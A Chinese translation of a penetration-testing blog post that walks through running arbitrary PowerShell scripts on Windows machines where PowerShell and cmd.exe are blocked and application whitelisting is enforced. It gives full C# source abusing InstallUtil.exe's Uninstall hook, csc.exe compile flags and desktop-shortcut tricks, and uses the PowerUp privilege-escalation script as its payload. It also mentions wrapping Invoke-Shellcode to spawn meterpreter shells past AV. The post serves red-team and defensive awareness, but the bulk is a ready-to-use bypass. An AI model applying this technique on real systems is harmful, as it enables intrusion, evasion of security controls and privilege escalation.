无PowerShell执行PowerShell脚本:绕过应用白名单、环境限制与AV检测

本文详细介绍了在禁用PowerShell和cmd.exe的环境中,通过C#程序调用.NET框架执行PowerShell脚本的方法,有效绕过应用白名单和杀毒软件检测,并提供了完整的代码示例和编译步骤。

PowerShell Without PowerShell – 如何绕过应用白名单、环境限制与AV

Brian Fehrman(特别鸣谢:Kelsey Bellew, Beau Bullock)

在之前的博客文章中,我们讨论了使用Casey Smith开发的方法绕过AV和应用白名单。在最近的一次任务中,我们遇到了一个限制更严格的环境:不仅启用了AV和应用白名单,还禁用了PowerShell和cmd.exe。这种情况越来越常见,因为公司意识到普通用户不需要访问cmd.exe、PowerShell或其他工具。我们认为这是保护环境的优秀措施,但防御者必须意识到,存在绕过这些限制的潜在方法。

如果您看过我们的“Sacred Cash Cow tipping”系列,可能已经见过我从C#程序中执行Invoke-Shellcode.ps1文件的方法。基本上,您将Invoke-Shellcode.ps1文件转换为一行长字符串,并作为字符串变量嵌入C#程序中。结果是一个独立的可执行文件,可以生成meterpreter shell并绕过大多数AV产品。剧透警告:完整教程将在未来的视频博客文章中发布。

那么,这与本文有什么关系?我们可以扩展这一概念,允许我们在不允许执行PowerShell的环境中执行任何PowerShell脚本。其原理在于C#和PowerShell本质上都是.NET框架的前端。我们利用C#可执行文件直接调用PowerShell访问的相同.NET功能。如果您愿意,可以编写C#程序来完成PowerShell脚本的功能……但既然已经有了PowerShell脚本,为什么还要费那么多功夫呢?

少说多做,开始吧!在Windows桌面上创建一个新的空白文本文件,命名为Program.cs(您可以随意命名,但这只是一个建议)。在编辑器(如NotePad++)中打开它。首先,我们需要通过添加以下using语句导入一些功能:

1
2
3
4
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

为了正确编译程序,我们需要定义一个包含名为Main()方法的类。通常,这是程序的主入口点。我们将类名与Program.cs文件同名。将以下行添加到Program.cs文件的末尾:

1
2
3
4
5
6
public class Program
{
    public static void Main()
    {
    }
}

下一步是定义程序的真正入口点。我们将使用InstallUtil.exe实用程序运行程序,而不是直接执行。这是让我们绕过应用白名单限制的魔法。为此,我们定义一个名为Sample的类,继承自Installer类。然后声明一个名为Uninstall的方法,这将是程序的真正入口点。在这种情况下,程序将首先调用名为Mycode的类中的Exec方法。我们还在类声明上方添加一条语句,表明此方法预计作为安装过程的一部分运行。将以下行添加到Program.cs文件的底部:

1
2
3
4
5
6
7
8
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Mycode.Exec();
    }
}

程序的最后一部分是定义Mycode类和名为Exec的方法。该方法读取位于@” “符号定义路径中的PowerShell脚本。在这种情况下,我的PowerShell脚本位于C:\Users\fmc\Desktop\PowerUp.ps1。随后的行用于设置执行PowerShell脚本所需的变量和参数。最后,通过pipeline.Invoke()调用执行PowerShell脚本。将以下行添加到Program.cs文件的末尾:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class Mycode
{
    public static void Exec()
    {
        string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
        RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
        Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
        rspace.Open();
        Pipeline pipeline = rspace.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
    }
}

整个Program.cs文件应如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

public class Program
{
    public static void Main()
    {
    }
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Mycode.Exec();
    }
}

public class Mycode
{
    public static void Exec()
    {
        string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
        RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
        Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
        rspace.Open();
        Pipeline pipeline = rspace.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
    }
}

在这个例子中,我使用Veil-Framework的PowerUp脚本。以前,您会在PowerShell提示符中运行脚本,并通过以下方式将结果输出到文件:

1
2
Import-Module PowerUp.ps1
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

为了通过此方法调用函数,我们需要在脚本末尾添加显式函数调用。打开PowerUp.ps1脚本,并将函数调用添加到文件的最底部。确保根据您的环境命名Out-File参数。保存脚本并退出。

1
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

现在我们需要编译程序。我们将使用csc.exe实用程序进行编译。必须传递几个标志才能正确编译程序。以下命令可用于编译Program.cs文件并生成名为powerup.exe的可执行文件:

1
2
3
4
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe C:\Users\fmc\Desktop\Program.cs

但是……等等……如果cmd.exe被锁定怎么办?别担心。打开文件资源管理器并导航到:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

右键单击csc.exe文件并选择“创建快捷方式”。您会收到一条消息,说您不能在那里创建快捷方式,并提示您在桌面上创建一个。只需单击“是”。

现在,转到您的桌面。右键单击csc.exe快捷方式并选择“属性”。

单击“快捷方式”选项卡,选择“目标”字段中的所有文本,然后替换为以下文本(确保将C:\Users\fmc\Desktop\powerup.exe替换为符合您环境的文件名):

1
2
3
4
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe

然后,单击“应用”并关闭属性窗口。我们在这里所做的是指定在使用此快捷方式执行csc.exe时传递的参数。Program.cs路径被故意省略,原因有二:主要原因是“目标”字段有最大字符限制,添加Program.cs文件的完整路径可能会超过此限制。Program.cs文件的完整路径将在本教程接下来的拖放步骤中自动作为参数传递给csc.exe程序。

要编译Program.cs文件,只需将Program.cs文件拖放到桌面上的csc.exe快捷方式图标上。如果一切顺利,您应该在桌面上得到一个powerup.exe文件。恭喜,您刚刚在没有使用命令行或Visual Studio的情况下编译了一个CSharp程序!

最后,我们需要使用InstallUtil.exe实用程序运行程序。这个过程与我们使用csc.exe应用程序类似。导航回:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

右键单击InstallUtil.exe文件并选择“创建快捷方式”。您会收到一条消息,说您不能在那里创建快捷方式,并提示您在桌面上创建一个。只需单击“是”。

转到桌面,右键单击InstallUtil快捷方式并单击“属性”。

在“快捷方式”选项卡下,删除“目标”字段中的所有内容,并替换为以下内容(确保更改日志文件名以匹配您的环境):

1
2
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
/logfile=C:\Users\fmc\Desktop\log.txt /LogToConsole=false /U

单击“应用”,然后关闭属性窗口。

现在,如果您还没有回到桌面,请返回。将powerup.exe文件拖放到InstallUtil快捷方式文件上。

您应该看到一个命令提示符弹出,同时脚本执行。但是,如果您打开任务管理器,您会注意到cmd.exe不在进程列表中;只有InstallUtil.exe。

我们可以通过在将powerup.exe文件拖放到InstallUtil快捷方式后立即从Windows命令提示符运行以下命令来确认这一点:

1
wmic process list full > Desktop\save.txt

通过检查wmic命令的输出,我们发现InstallUtil.exe实际上是通过explorer.exe调用的,而不是cmd.exe。太棒了!

脚本执行完成后,您应该在桌面上找到allchecks.txt文件。打开allchecks.txt文件以检查PowerUp.ps1 Invoke-AllChecks方法的输出。

就这样。我们有一种方法可以在启用应用白名单并禁用powershell.exe和cmd.exe访问的环境中执行PowerShell脚本。您几乎可以运行任何您想要的PowerShell脚本。但请注意以下几点:

  • 确保您的脚本不使用Write-Host,这会导致程序崩溃;使用Write-Output或Out-File代替。
  • 如果您的脚本提示用户输入,请在PowerShell脚本底部插入函数调用时使用-Force选项。
  • 可能还有其他字符和函数会导致此方法出现问题。如果您遇到任何问题,请告诉我,我们可以尝试解决。

此方法也可用于绕过AV。我们将在接下来的视频片段中详细介绍该过程!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计